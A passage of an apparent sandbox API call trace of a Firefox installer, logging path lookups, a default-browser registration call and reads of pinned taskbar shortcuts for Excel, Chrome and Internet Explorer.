Firefox" [0118.536] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.536] lstrcpynW (in: lpString1=0x697ff8, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.536] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.537] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox", lpszLongPath=0x697ff8, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0118.537] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="1024") returned 4 [0118.537] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.538] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.539] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.539] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="38") returned 2 [0118.539] lstrcpyW (in: lpString1=0x4bc080, lpString2="38" | out: lpString1="38") returned="38" [0118.541] Call () returned 0x0 [0118.542] lstrcpyW (in: lpString1=0x69a360, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0118.542] lstrcpyW (in: lpString1=0x696350, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.543] lstrcpyW (in: lpString1=0x68e330, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.543] lstrcpyW (in: lpString1=0x68eb30, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0118.543] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.543] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0118.543] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0118.544] lstrcpyW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.544] lstrcpynW (in: lpString1=0x693fe8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.544] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.544] lstrcpynW (in: lpString1=0x697ff8, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.544] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.544] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox", lpszLongPath=0x697ff8, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0118.545] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="1024") returned 4 [0118.545] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.545] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.546] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.547] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="38") returned 2 [0118.547] lstrcpyW (in: lpString1=0x4bc080, lpString2="38" | out: lpString1="38") returned="38" [0118.547] Call () returned 0x0 [0118.547] lstrcpyW (in: lpString1=0x69a360, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0118.548] lstrcpyW (in: lpString1=0x696350, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.549] lstrcpyW (in: lpString1=0x68e330, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.549] lstrcpyW (in: lpString1=0x68eb30, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0118.565] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.566] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0118.571] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0118.572] lstrcpyW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0118.572] lstrcpynW (in: lpString1=0x693fe8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0118.572] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.572] lstrcpynW (in: lpString1=0x697ff8, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.572] lstrcpyW (in: lpString1=0x68ffd8, lpString2="" | out: lpString1="") returned="" [0118.573] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpszLongPath=0x697ff8, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 0x32 [0118.573] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="1024") returned 4 [0118.573] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0118.583] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0118.584] lstrcpynW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0118.584] wsprintfW (in: param_1=0x68ffd8, param_2="%d" | out: param_1="50") returned 2 [0118.584] lstrcpyW (in: lpString1=0x4bc080, lpString2="50" | out: lpString1="50") returned="50" [0118.623] SetAppAsDefaultAll () returned 0x40a0e0 [0118.623] lstrcpyW (in: lpString1=0x18ef28, lpString2="Firefox" | out: lpString1="Firefox") returned="Firefox" [0118.623] CoCreateInstance (in: rclsid=0x31202c*(Data1=0x591209c7, Data2=0x767b, Data3=0x42b2, Data4=([0]=0x9f, [1]=0xba, [2]=0x44, [3]=0xee, [4]=0x46, [5]=0x15, [6]=0xf2, [7]=0xc7)), pUnkOuter=0x0, dwClsContext=0x3, riid=0x31203c*(Data1=0x4e530b0a, Data2=0xe611, Data3=0x4c77, Data4=([0]=0xa3, [1]=0xac, [2]=0x90, [3]=0x31, [4]=0xd0, [5]=0x22, [6]=0x28, [7]=0x1b)), ppv=0x18f134 | out: ppv=0x18f134*=0x624f18) returned 0x0 [0118.626] ApplicationAssociationRegistration:IApplicationAssociationRegistration:SetAppAsDefaultAll (This=0x624f18, pszAppRegistryName="Firefox") returned 0x0 [0118.861] ApplicationAssociationRegistration:IUnknown:Release (This=0x624f18) returned 0x0 [0118.861] lstrcpynW (in: lpString1=0x6da4f4, lpString2="success", iMaxLength=8196 | out: lpString1="success") returned="success" [0119.134] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x638598 [0119.134] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x63aad8 [0119.134] lstrcpyW (in: lpString1=0x638598, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0119.136] CoCreateInstance (in: rclsid=0x312064*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x312044*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee50 | out: ppv=0x18ee50*=0x61d538) returned 0x0 [0119.153] ShellLink:IUnknown:QueryInterface (in: This=0x61d538, riid=0x312074*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ee3c | out: ppvObject=0x18ee3c*=0x61d544) returned 0x0 [0119.156] ShellLink:IPersistFile:Load (This=0x61d544, pszFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk", dwMode=0x2) returned 0x0 [0119.593] ShellLink:IShellLinkW:GetPath (in: This=0x61d538, pszFile=0x638598, cch=260, pfd=0x18ebe8, fFlags=0x2 | out: pszFile="C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE", pfd=0x18ebe8) returned 0x0 [0119.593] ShellLink:IUnknown:Release (This=0x61d544) returned 0x1 [0119.593] ShellLink:IUnknown:Release (This=0x61d538) returned 0x0 [0119.593] lstrcpynW (in: lpString1=0x27d4404, lpString2="C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE") returned="C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE" [0119.593] LocalFree (hMem=0x638598) returned 0x0 [0119.593] LocalFree (hMem=0x63aad8) returned 0x0 [0119.598] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x63aad8 [0119.598] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x638598 [0119.598] lstrcpyW (in: lpString1=0x63aad8, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" [0119.598] CoCreateInstance (in: rclsid=0x312064*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x312044*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee50 | out: ppv=0x18ee50*=0x61d538) returned 0x0 [0119.598] ShellLink:IUnknown:QueryInterface (in: This=0x61d538, riid=0x312074*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ee3c | out: ppvObject=0x18ee3c*=0x61d544) returned 0x0 [0119.598] ShellLink:IPersistFile:Load (This=0x61d544, pszFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk", dwMode=0x2) returned 0x0 [0119.607] ShellLink:IShellLinkW:GetPath (in: This=0x61d538, pszFile=0x63aad8, cch=260, pfd=0x18ebe8, fFlags=0x2 | out: pszFile="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", pfd=0x18ebe8) returned 0x0 [0119.607] ShellLink:IUnknown:Release (This=0x61d544) returned 0x1 [0119.607] ShellLink:IUnknown:Release (This=0x61d538) returned 0x0 [0119.607] lstrcpynW (in: lpString1=0x27da154, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.607] LocalFree (hMem=0x63aad8) returned 0x0 [0119.607] LocalFree (hMem=0x638598) returned 0x0 [0119.609] Call () returned 0x0 [0119.610] lstrcpyW (in: lpString1=0x27fe218, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0119.610] lstrcpyW (in: lpString1=0x27fa208, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.610] lstrcpyW (in: lpString1=0x27d4408, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.610] lstrcpyW (in: lpString1=0x27d4c08, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0119.610] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0119.611] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0119.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0119.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a1e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0119.611] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0119.611] lstrcpyW (in: lpString1=0x27f61f8, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.611] lstrcpynW (in: lpString1=0x27fa208, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.611] lstrcpyW (in: lpString1=0x27f61f8, lpString2="" | out: lpString1="") returned="" [0119.611] lstrcpynW (in: lpString1=0x27fe218, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0119.611] lstrcpyW (in: lpString1=0x27f21e0, lpString2="" | out: lpString1="") returned="" [0119.611] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpszLongPath=0x27fe218, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned 0x3b [0119.612] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="1024") returned 4 [0119.612] lstrcpynW (in: lpString1=0x27f21e0, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.612] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.612] lstrcpynW (in: lpString1=0x27fe218, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" [0119.612] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="59") returned 2 [0119.612] lstrcpyW (in: lpString1=0x4bc080, lpString2="59" | out: lpString1="59") returned="59" [0119.617] GetShortCutTarget () returned 0x0 [0119.617] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x638598 [0119.617] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x63aad8 [0119.617] lstrcpyW (in: lpString1=0x638598, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" [0119.617] CoCreateInstance (in: rclsid=0x312064*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x312044*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee50 | out: ppv=0x18ee50*=0x6fca88) returned 0x0 [0119.618] ShellLink:IUnknown:QueryInterface (in: This=0x6fca88, riid=0x312074*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ee3c | out: ppvObject=0x18ee3c*=0x6fca94) returned 0x0 [0119.618] ShellLink:IPersistFile:Load (This=0x6fca94, pszFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk", dwMode=0x2) returned 0x0 [0119.621] ShellLink:IShellLinkW:GetPath (in: This=0x6fca88, pszFile=0x638598, cch=260, pfd=0x18ebe8, fFlags=0x2 | out: pszFile="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", pfd=0x18ebe8) returned 0x0 [0119.621] ShellLink:IUnknown:Release (This=0x6fca94) returned 0x1 [0119.621] ShellLink:IUnknown:Release (This=0x6fca88) returned 0x0 [0119.621] lstrcpynW (in: lpString1=0x27da154, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.621] LocalFree (hMem=0x638598) returned 0x0 [0119.621] LocalFree (hMem=0x63aad8) returned 0x0 [0119.624] Call () returned 0x0 [0119.624] lstrcpyW (in: lpString1=0x27fe218, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0119.624] lstrcpyW (in: lpString1=0x27fa208, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.624] lstrcpyW (in: lpString1=0x27d4408, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.625] lstrcpyW (in: lpString1=0x27d4c08, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0119.625] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0119.625] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0119.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0119.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a1e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0119.625] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0119.625] lstrcpyW (in: lpString1=0x27f61f8, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.625] lstrcpynW (in: lpString1=0x27fa208, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.625] lstrcpyW (in: lpString1=0x27f61f8, lpString2="" | out: lpString1="") returned="" [0119.625] lstrcpynW (in: lpString1=0x27fe218, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0119.625] lstrcpyW (in: lpString1=0x27f21e0, lpString2="" | out: lpString1="") returned="" [0119.625] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpszLongPath=0x27fe218, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 0x35 [0119.626] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="1024") returned 4 [0119.626] lstrcpynW (in: lpString1=0x27f21e0, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.626] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.626] lstrcpynW (in: lpString1=0x27fe218, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.626] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="53") returned 2 [0119.626] lstrcpyW (in: lpString1=0x4bc080, lpString2="53" | out: lpString1="53") returned="53" [0119.629] GetShortCutTarget () returned 0x0 [0119.629] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x63aad8 [0119.629] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x638598 [0119.629] lstrcpyW (in: lpString1=0x63aad8, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" [0119.630] CoCreateInstance (in: rclsid=0x312064*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x312044*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee50 | out: ppv=0x18ee50*=0x6fca88) returned 0x0 [0119.630] ShellLink:IUnknown:QueryInterface (in: This=0x6fca88, riid=0x312074*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ee3c | out: ppvObject=0x18ee3c*=0x6fca94) returned 0x0 [0119.630] ShellLink:IPersistFile:Load (This=0x6fca94, pszFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk", dwMode=0x2) returned 0x0 [0119.633] ShellLink:IShellLinkW:GetPath (in: This=0x6fca88, pszFile=0x63aad8, cch=260, pfd=0x18ebe8, fFlags=0x2 | out: pszFile="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", pfd=0x18ebe8) returned 0x0 [0119.633] ShellLink:IUnknown:Release (This=0x6fca94) returned 0x1 [0119.633] ShellLink:IUnknown:Release (This=0x6fca88) returned 0x0 [0119.634] lstrcpynW (in: lpString1=0x27da154, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.634] LocalFree (hMem=0x63aad8) returned 0x0 [0119.634] LocalFree (hMem=0x638598) returned 0x0 [0119.636] Call () returned 0x0 [0119.636] lstrcpyW (in: lpString1=0x27fe218, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0119.636] lstrcpyW (in: lpString1=0x27fa208, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.637] lstrcpyW (in: 